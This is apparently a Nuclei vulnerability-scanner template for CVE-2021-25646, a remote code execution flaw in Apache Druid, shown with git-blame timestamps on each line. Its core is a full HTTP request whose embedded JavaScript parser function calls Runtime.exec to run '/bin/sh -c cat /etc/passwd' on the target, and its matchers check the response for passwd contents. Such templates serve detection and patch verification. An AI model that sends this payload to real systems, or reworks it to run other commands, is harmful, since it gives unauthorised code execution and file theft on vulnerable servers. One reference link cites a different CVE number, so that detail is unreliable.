2021-02-03 09:24:49 +00:00
id : CVE-2021-25646
info :
2022-06-27 16:17:59 +00:00
name : Apache Druid - Remote Code Execution
2021-02-03 09:24:49 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : high
2021-02-03 09:24:49 +00:00
description : |
2022-06-27 18:31:38 +00:00
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or upgrade to a patched version of Apache Druid.
2022-04-22 10:38:41 +00:00
reference :
- https://paper.seebug.org/1476/
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/01/29/6
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
2022-06-27 16:17:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-25646
cwe-id : CWE-732
2024-05-31 19:23:20 +00:00
epss-score : 0.97385
epss-percentile : 0.99912
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : druid
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,apache,rce,druid
2021-02-03 09:24:49 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-03 09:24:49 +00:00
- raw :
- |
2021-06-24 17:37:45 +00:00
POST /druid/indexer/v1/sampler HTTP/1.1
2021-02-03 09:24:49 +00:00
Host : {{Hostname}}
Content-Type : application/json
2021-06-30 14:58:41 +00:00
{
"type" : "index" ,
"spec" : {
"ioConfig" : {
"type" : "index" ,
"firehose" : {
"type" : "local" ,
"baseDir" : "/etc" ,
"filter" : "passwd"
}
},
"dataSchema" : {
"dataSource" : "odgjxrrrePz" ,
"parser" : {
"parseSpec" : {
"format" : "javascript" ,
"timestampSpec" : {
2021-06-30 15:01:15 +00:00
2021-06-30 14:58:41 +00:00
},
"dimensionsSpec" : {
2021-06-30 15:01:15 +00:00
2021-06-30 14:58:41 +00:00
},
"function" : "function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}" ,
"" : {
"enabled" : "true"
}
}
}
}
},
"samplerConfig" : {
"numRows" : 10
}
}
2021-02-03 16:12:03 +00:00
2021-02-03 09:24:49 +00:00
matchers-condition : and
matchers :
2021-06-30 14:58:41 +00:00
- type : word
2022-06-28 02:45:17 +00:00
part : body
2021-06-30 14:58:41 +00:00
words :
2021-02-03 09:24:49 +00:00
- "numRowsRead"
2021-02-03 16:12:03 +00:00
- "numRowsIndexed"
2021-03-10 14:03:49 +00:00
condition : and
2021-06-30 14:58:41 +00:00
2022-06-28 02:45:17 +00:00
- type : word
part : header
words :
- "application/json"
2022-06-27 16:17:59 +00:00
2023-07-11 19:49:27 +00:00
- type : regex
part : body
regex :
- "root:.*:0:0:"
2022-06-28 02:45:17 +00:00
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402207f8ca012e45f5c9e01882720401edbd09af0f5fd78ac8b1c231ed983309dce380220313b5fc0157ac972eeda44e2aadeddae294cd8d26c93000fa892cb952195506f:922c64590222798bb761d5b6d8e72950